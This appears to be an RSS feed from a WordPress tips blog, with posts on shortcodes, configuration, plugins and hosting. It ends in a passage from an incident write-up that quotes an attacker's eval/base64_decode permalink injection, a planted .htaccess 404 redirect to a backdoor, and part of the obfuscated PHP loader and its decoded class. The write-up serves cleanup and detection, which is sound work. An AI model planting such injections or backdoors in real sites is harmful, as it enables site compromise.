<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I Like WordPress! &#187; On WordPress</title>
	<atom:link href="http://ilikewordpress.com/category/on-wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://ilikewordpress.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Fri, 08 Apr 2011 21:30:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>How to Display Your Post/Page Content in Two Columns</title>
		<link>http://ilikewordpress.com/393/how-to-display-your-postpage-content-in-two-columns/</link>
		<comments>http://ilikewordpress.com/393/how-to-display-your-postpage-content-in-two-columns/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 21:29:19 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[Template coding]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=393</guid>
		<description><![CDATA[Ok, so life has intruded and I haven&#8217;t updated things here as often as I&#8217;d hoped. So here&#8217;s a little treat: how to display your content in two columns. Why should you display content in two columns? Narrower text columns can increase readability, especially if you have a wide ( 600px or more ) content [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Ok, so life has intruded and I haven&#8217;t updated things here as often as I&#8217;d hoped.</p>
<p>So here&#8217;s a little treat: how to display your content in two columns.</p>
<p>Why should you display content in two columns? Narrower text columns can increase readability, especially if you have a wide ( 600px or more ) content column. There is a lot of discussion out there on the advantages of narrow text columns, give Google a shot if you&#8217;re interested.</p>
<div class="column left" style="width: 45%; margin-right: 5%; float: left; text-align: justify; "><p>How to do it? We&#8217;re going to use <a title="WordPress Shortcode API" href="http://codex.wordpress.org/Shortcode_API">the WordPress shortcode handler</a>, and a little bit of CSS, instead of modifying a theme template. This way, if you WANT two columns, you can have them, if not, don&#8217;t. Also, it&#8217;s still a little problematic to split a body of text automagically using scripting.</p>
</div>
<div class="column right" style="width: 45%; float: left; text-align: justify;"><p> The columns usually NEVER break where you want. Using shortcodes to define the column content allows us to control what goes where.</p>
</div><div style="clear: both;"></div>
<p>We could create a plugin for this, but for ease of demonstration, we&#8217;ll just put it in the theme&#8217;s functions.php file. Note: with some themes like Thesis or Genesis, you may need to add this to a &#8216;custom&#8217; functions file. Consult your documentation.</p>
<p>We will define two shortcode pairs, [leftcol] and [rightcol]. You&#8217;ll start the left column content with the [leftcol] shortcode tag, and end it with the [/leftcol] closing tag. Repeat for the right column. Shortcode tags MUST begin on a new line in your editor, or WordPress won&#8217;t recognize them as shortcodes. If you see one of the shortcode tags in your displayed post, that&#8217;s probably why.</p>
<p>Here is what the two columns above look like in the post editor:</p>
<p><code>[leftcol]How to do it? We're going to use <a title="WordPress Shortcode API" href="http://codex.wordpress.org/Shortcode_API">the WordPress shortcode handler</a>, and a little bit of CSS, instead of modifying a theme template. This way, if you WANT two columns, you can have them, if not, don't. Also, it's still a little problematic to split a body of text automagically using scripting.[/leftcol]<br />
[rightcol] The columns usually NEVER break where you want. Using shortcodes to define the column content allows us to control what goes where.[/rightcol]</code></p>
<p>Here is the code:</p>
<pre class="brush: php; title: ; notranslate">
/**********************
*
* shortcode handler for columnization of project posts
* ex: [leftcol]content here...[/leftcol]
*/
function shortcode_columnize_left( $atts, $content = null ) {
 $content = wptexturize( $content );
 $content = wpautop( $content );
 $content = '&lt;div style=&quot;width: 45%; margin-right: 5%; float: left; text-align: justify; &quot;&gt;' . $content . '&lt;/div&gt;';
 return $content;
}

/* columnize right inserts 'clear' div after content */
function shortcode_columnize_right( $atts, $content = null ) {
 $content = wptexturize( $content );
 $content = wpautop( $content );
 $content = '&lt;div style=&quot;width: 45%; float: left; text-align: justify;&quot;&gt;' . $content . '&lt;/div&gt;&lt;div style=&quot;clear: both;&quot;&gt;&lt;/div&gt;';
 return $content;
}
add_shortcode( 'leftcol', 'shortcode_columnize_left' );
add_shortcode( 'rightcol', 'shortcode_columnize_right' );
</pre>
<p>We define functions to take the content that is between the shortcode tag pairs, run it through the same filters that WordPress uses for post content, wptexturize() and wpautop(), then spit it out within a div with a width of 45%, right margin of 5%, floated to the left, and the same with the right column but without the right margin. We add a div after the right content with a style of &#8220;clear: both&#8221; so that the rest of the page content clears the floated divs.</p>
<p>Then we tell WordPress to use our functions when it encounters the [leftcol] and [rightcol] shortcode tags within our post.</p>
<p>Voila, finit. That&#8217;s all there is to it.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/393/how-to-display-your-postpage-content-in-two-columns/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Simple Link Cloaker Plugin Available for Download</title>
		<link>http://ilikewordpress.com/383/simple-link-cloaker-plugin-available-for-download/</link>
		<comments>http://ilikewordpress.com/383/simple-link-cloaker-plugin-available-for-download/#comments</comments>
		<pubDate>Sun, 12 Dec 2010 15:44:19 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[Template coding]]></category>
		<category><![CDATA[WordPress plugins]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=383</guid>
		<description><![CDATA[Because some days are better than others, I managed to upload the wrong zip file of the link cloaker plugin. That error has been corrected. This is the correct download link for the Simple Link Cloaker plugin. It seems that if I had named the Simple Link Cloaker plugin The Fabulous Redirector instead, all would [...]]]></description>
			<content:encoded><![CDATA[<p></p><p class="update">Because some days are better than others, I managed to upload the wrong zip file of the link cloaker plugin. That error has been corrected. This is the <a href="http://ilikewordpress.com/wp-content/uploads/2009/05/ilwp-simple-link-cloaker1.zip">correct download link for the Simple Link Cloaker plugin</a>.</p>
<p>It seems that if I had named the <strong><em>Simple Link Cloaker</em></strong> plugin <strong><em>The Fabulous Redirector</em></strong> instead, all would have been well &#8211; but the guys/girls that run the WordPress plugin repository didn&#8217;t like the term &#8216;cloaker&#8217;. I guess it implies being shady, which we all know is not the intent or use for this plugin.</p>
<p>At any rate, since you can&#8217;t get it from WordPress any more, you can get it here: <a href="http://ilikewordpress.com/wp-content/uploads/2009/05/ilwp-simple-link-cloaker1.zip">ilwp-simple-link-cloaker</a>. Installation is a snap, if you remember the old way of installing plugins:</p>
<ol>
<li> download the plugin zip file to your computer</li>
<li> unzip the file into a directory</li>
<li> upload the entire plugin folder to your wp-content/plugins folder</li>
<li> activate through the Dashboard &gt; Plugins interface</li>
</ol>
<p>Thank you for all of your support!</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/383/simple-link-cloaker-plugin-available-for-download/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fixing the Blank Screen Syndrome on a WordPress Blog</title>
		<link>http://ilikewordpress.com/354/fixing-the-blank-screen-syndrome-on-a-wordpress-blog/</link>
		<comments>http://ilikewordpress.com/354/fixing-the-blank-screen-syndrome-on-a-wordpress-blog/#comments</comments>
		<pubDate>Sat, 11 Sep 2010 16:59:42 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[Tech stuff]]></category>
		<category><![CDATA[Troubleshooting WordPress issues]]></category>
		<category><![CDATA[blank screen]]></category>
		<category><![CDATA[fixits]]></category>
		<category><![CDATA[plugin problems]]></category>
		<category><![CDATA[white screen]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=354</guid>
		<description><![CDATA[With the advent of WordPress version 3, my most common fixit request has been, &#8220;Help! I just see a white screen on my blog!&#8221; I&#8217;ll share with you what I&#8217;ve found to be the most common cause, but first there&#8217;re a few things you can do to at least get back up and running again. [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://ilikewordpress.com/wp-content/uploads/2010/09/iStock_000011483172XSmall.jpg"><img class="alignright size-medium wp-image-355" title="Scared" src="http://ilikewordpress.com/wp-content/uploads/2010/09/iStock_000011483172XSmall-300x200.jpg" alt="" width="300" height="200" /></a>With the advent of WordPress version 3, my most common fixit request has been, &#8220;Help! I just see a white screen on my blog!&#8221;</p>
<p>I&#8217;ll share with you what I&#8217;ve found to be the most common cause, but first there&#8217;re a few things you can do to at least get back up and running again.</p>
<p>If you have Dashboard access, first disable ALL of your plugins. 9 times out of 10, you&#8217;ll see your site reappear.</p>
<p>If you still see just a white screen, the next step is to switch themes. Activate WordPress&#8217;s default theme (the twenty-ten theme, now) and check your site again.</p>
<p>If that didn&#8217;t fix your problem, you&#8217;ll need to start verifying core files and such, or employ the services of a WordPress professional to help you get your site back up and running.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/354/fixing-the-blank-screen-syndrome-on-a-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Changing WordPress Auto-Save and Revisions Settings</title>
		<link>http://ilikewordpress.com/349/changing-wordpress-auto-save-and-revisions-settings/</link>
		<comments>http://ilikewordpress.com/349/changing-wordpress-auto-save-and-revisions-settings/#comments</comments>
		<pubDate>Sat, 11 Sep 2010 16:13:27 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[Tech stuff]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=349</guid>
		<description><![CDATA[The WordPress  team did a great and wonderful thing when they included auto-save and revisions for posts/pages. If you&#8217;re in a collaborative environment, referring to previous revisions can be a useful tool. And auto-save? If you haven&#8217;t had a computer crash in the middle of writing a blog post, you&#8217;re probably in the minority On [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The WordPress  team did a great and wonderful thing when they included auto-save and revisions for posts/pages. If you&#8217;re in a collaborative environment, referring to previous revisions can be a useful tool. And auto-save? If you haven&#8217;t had a computer crash in the middle of writing a blog post, you&#8217;re probably in the minority <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>On the flip side, most of us don&#8217;t need to see countless revisions that we may have made. Fix a typo? One more revision. The list can get pretty long.</p>
<p>And really &#8211; do we really need an auto save once every <strong>minute</strong>? I don&#8217;t know about you, but I don&#8217;t type that fast&#8230;</p>
<p>Fortunately, as for most annoyances in WordPress, there is a relatively easy fix for both auto-saves and post/page revisions. You&#8217;ll need to edit your wp-config.php file (for those of you who installed WP by hand, that&#8217;s the file where you entered your database information).</p>
<p>FTP into your WordPress installation on your server, then download the wp-config.php file to your computer. Immediately, before you do anything else, <em><strong>make a backup copy</strong></em>. Always always always keep a backup copy of files you edit. An error as tiny as a misplaced comma can render your blog unusable.</p>
<h3>Changing the AutoSave interval</h3>
<p>You&#8217;ll need to add the following line to your wp-config.php file:</p>
<pre>define('AUTOSAVE_INTERVAL', 180 );  // # of seconds between saves</pre>
<p>Change the &#8217;160&#8242; number to whatever autosave interval you want. I usually use 180, or 3 minutes.</p>
<h3>Change the post Revisions settings</h3>
<p>Unlike AutoSave, you can actually turn post/page revisions <strong>off</strong> if you really want to. Or, you can specify the number of revisions you want to keep.</p>
<p>To turn revisions off, add this line to wp-config.php:</p>
<pre>define('WP_POST_REVISIONS', false );</pre>
<p>If you want to keep revisions on, but limit the number that WordPress saves, use a number instead of the keyword <em>false</em>:</p>
<pre>define('WP_POST_REVISIONS', 6);</pre>
<p>There. Pretty simple, eh? Save your wp-config.php file, then upload it back to your server. Your changes will take effect immediately.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/349/changing-wordpress-auto-save-and-revisions-settings/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Plugins &#8211; Using the Options Table Properly</title>
		<link>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/</link>
		<comments>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 16:02:52 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[developers]]></category>
		<category><![CDATA[options]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wp options]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=324</guid>
		<description><![CDATA[Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you. I ran across this again today, hence my rant: I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you.</p>
<p>I ran across this again today, hence my rant:</p>
<p>I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin <strong>added 17 options</strong> to the options table!</p>
<p>WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you&#8217;re using a database read every time you call get_option(). What a waste!</p>
<p>What should you do instead? Glad you asked!</p>
<p>Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.</p>
<p>The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.</p>
<p>If you need an example, leave a comment and I&#8217;ll post one.</p>
<p>EDIT: as requested, here&#8217;s a couple of examples. First, what many developers do but <strong>shouldn&#8217;t</strong>:</p>
<pre class="brush: php; title: ; notranslate">

$myoption1 = &quot;ted&quot;;
$myoption2 = &quot;fred&quot;;
$myoption3 = &quot;jed&quot;;

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);
</pre>
<p>Notice how the above uses <strong>3 different options</strong>: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn&#8217;t very many &#8211; but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.</p>
<p>Here&#8217;s how you <strong>should</strong> code your options:</p>
<pre class="brush: php; title: ; notranslate">

$myoptions = array( 'option1' =&gt; 'ted', 'option2' =&gt; 'fred', 'option3' =&gt; 'jed');
update_option( 'myoption', $myoptions );
</pre>
<p>And that&#8217;s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="brush: php; title: ; notranslate">

$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/
</pre>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free Month Web Hosting from HostGator</title>
		<link>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/</link>
		<comments>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 20:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[add-on domains]]></category>
		<category><![CDATA[free web hosting]]></category>
		<category><![CDATA[HostGator]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[multiple domains]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[web hosting]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=319</guid>
		<description><![CDATA[I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; HostGator. I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; <a href="/hostgator">HostGator</a>.</p>
<p>I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with <a href="/hostgator">HostGator</a>. It&#8217;s been, in a word, fantastic.</p>
<div id="attachment_320" class="wp-caption alignleft" style="width: 125px">
	<a href="/hostgator"><img class="size-full wp-image-320" title="hostgator125x125" src="http://ilikewordpress.com/wp-content/uploads/2010/07/hostgator125x125.gif" alt="" width="125" height="125" /></a>
	<p class="wp-caption-text">Remember to use the coupon code &quot;ILIKEWORDPRESS&quot; for your first month free!</p>
</div>
<h4>Support</h4>
<p>Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I&#8217;ve been with them, and all were handled promptly, professionally, and <strong>FAST</strong>. There&#8217;s nothing worse than having a client call in the middle of the night crying, &#8220;my site is down!&#8221; In those situations, I need the problem handled quickly, and <a href="/hostgator">HostGator</a> has never let me down.</p>
<h4>Features</h4>
<p>What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don&#8217;t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, &#8216;unlimited&#8217; doesn&#8217;t always mean <em><strong>unlimited</strong></em>. If your account starts hogging server resources, you&#8217;ll garner some attention.</p>
<p>That said, I&#8217;ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they&#8217;re not high-volume super popular sites, but they get their share of traffic.</p>
<h4>Special Deal for ILikeWordPress.com readers</h4>
<p>HostGator has allowed me to offer you a special deal! Use the coupon code &#8220;ILIKEWORDPRESS&#8221; and get your first month&#8217;s Baby plan hosting for only $0.01!! That&#8217;s right &#8211; ONE PENNY. How cool is that?</p>
<p>Go ahead and get signed up &#8211; click any of the links to <a href="/hostgator">go to HostGator</a>, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hide Blog Post Date In Your WordPress Theme</title>
		<link>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/</link>
		<comments>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 20:25:33 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=304</guid>
		<description><![CDATA[While visiting Lynn Terry&#8217;s Clicknewz blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (Off-Topic Warning &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps &#8211; you really should [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>While visiting <a href="http://www.clicknewz.com/">Lynn Terry&#8217;s Clicknewz</a> blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (<strong>Off-Topic Warning</strong> &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like <a href="http://www.clicknewz.com/2226/taking-daily-action/">Taking Daily Action: Huge Goals, Little Steps</a> &#8211; you really should check it out if you&#8217;re interested in making money on the net)</p>
<p>Anyway, Lynn doesn&#8217;t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.</p>
<p>After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: <a href="http://www.problogger.net/archives/2008/07/22/dates-on-blogs/">Dates on Blog Posts – Should You Have Them?</a> where he discusses the question at length.</p>
<p>I&#8217;m not going to get into the question of whether you should or shouldn&#8217;t display the date on your blog posts other than to say that personally, I find it annoying when I can&#8217;t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.</p>
<p>One of the suggestions Darren made was to display the date only on recent posts:</p>
<blockquote><p><strong>Dates on Recent Posts But Not on Older Ones </strong>- I saw one  blogger do this last year (I’m afraid I don’t remember who it was).  They had hacked WordPress so that dates appeared on recent posts (within  the last 3 months) but anything older than that did not have time  stamps either on the post or comments. This meant that the blogger  benefited from new posts looking new and took the potential distraction  of old posts away from readers. I don’t know exactly how the blogger did  it but presume they set up a rule that looked at the date of authorship  and then determined whether the date would be displayed or not.</p></blockquote>
<p>The &#8216;hack&#8217; that Darren mentions is actually pretty easy, if you&#8217;re comfortable modifying your theme files. Using WordPress&#8217;s new &#8220;twentyten&#8221; theme that comes packed with <a href="http://wordpress.org/download/">WordPress 3.0</a>, I&#8217;ll show you exactly what you have to do to show the post dates on single posts only if they&#8217;re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.</p>
<p><strong>Note</strong>: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you&#8217;ll lose that line completely, exactly like Lynn&#8217;s posts.</p>
<p>I recommend that you do NOT use the built-in theme editor in WordPress, especially when you&#8217;re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you <strong>MUST </strong>use the built-in editor, be certain that you have a clean backup of the file you&#8217;re working on!</p>
<p>So, step one: locate the single.php file within the twentyten theme folder and <strong>make a backup</strong>.</p>
<p>Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):</p>
<pre class="brush: php; title: ; notranslate">
&lt;div class=&quot;entry-meta&quot;&gt;
  &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;&lt;!-- .entry-meta --&gt;
</pre>
<p>What we&#8217;re going to do is to insert a test &#8211; is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.</p>
<p>To do that, we&#8217;ll use a simple &#8216;if&#8217; statement, comparing the date 90 days ago with that of the post. We will use PHP&#8217;s useful strtotime() date conversion function to make things easy:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
if ( strtotime( get_the_date() ) &gt; strtotime( &quot;90 days ago&quot; ) ) {
?&gt;
&lt;div class=&quot;entry-meta&quot;&gt;
 &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;
&lt;?php
 }
 ?&gt;
</pre>
<p>The <a href="http://us2.php.net/manual/en/function.strtotime.php">strtotime()</a> function converts whatever is in the parentheses to a Unix timestamp. The function <a href="http://codex.wordpress.org/Template_Tags/get_the_date">get_the_date()</a> is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.</p>
<p>And there you have it &#8211; no more dates on posts older than 90 days old.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Cleaning Up the Aftermath of a Hacker Attack</title>
		<link>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/</link>
		<comments>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 17:52:28 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[hack attack]]></category>
		<category><![CDATA[malicious files]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=278</guid>
		<description><![CDATA[The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for. This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The same project that led to the post <a href="http://ilikewordpress.com/274/loading-wordpress-from-index-php/">Loading WordPress From index.php</a> involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for.</p>
<p>This blog was hit recently by the same attack that has been in the news for the last few days. <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/">Lorelle on WordPress</a> wrote some things about it:</p>
<blockquote><p>There are two clues that your WordPress site has been attacked.</p>
<p>There are strange additions to the pretty permalinks, such as <code>example.com/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%/</code>. The keywords are “eval” and “base64_decode.”</p>
<p>The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but <a title="Journey Etc - WordPress Permalink RSS Problems" href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">Journey Etc. has a possible solution</a>.</p></blockquote>
<p>This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -&gt; Permalinks ).</p>
<p>Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You&#8217;ll not see them, but Google does.</p>
<p>Looking a little deeper, I found evidence of <em><strong>another </strong></em>previous hack job. The server error log contained hundreds of these entries:<span id="more-278"></span></p>
<pre class="brush: plain; title: ; notranslate">
[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php
</pre>
<p>WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven&#8217;t found the answer to THAT question. But what I find next begins to shed some light&#8230;</p>
<p>I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):</p>
<p>.htaccess<br />
date.php<br />
time.php<br />
include.php</p>
<p>The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here&#8217;s what was in .htaccess file in the wp-content/header folder:</p>
<pre class="brush: plain; title: ; notranslate">
Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php
</pre>
<p>So what&#8217;s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.</p>
<p>And time.php (along with all the other added php files) is a nasty little bugger:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
error_reporting(0);
$p=&quot;bcjihzzazbzgc&quot;;
eval(base64_decode(&quot;Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0=&quot;));
?&gt;
</pre>
<p>So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven&#8217;t taken the time to figure out what the class that the file defines <strong>does</strong>, but somehow I don&#8217;t think it&#8217;s anything nice. After decoding, this is the file contents:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' =&gt; 0,'ino' =&gt; 0,'mode' =&gt; 0,'nlink' =&gt; 1,'uid' =&gt; 0,'gid' =&gt; 0,'rdev' =&gt; -1,'size' =&gt; 0,'atime' =&gt; 0,'mtime' =&gt; 0,'ctime' =&gt; 0,'blksize' =&gt; -1,'blocks' =&gt; 0);
function error($msg='not connected') {if ($this-&gt;options &amp; STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
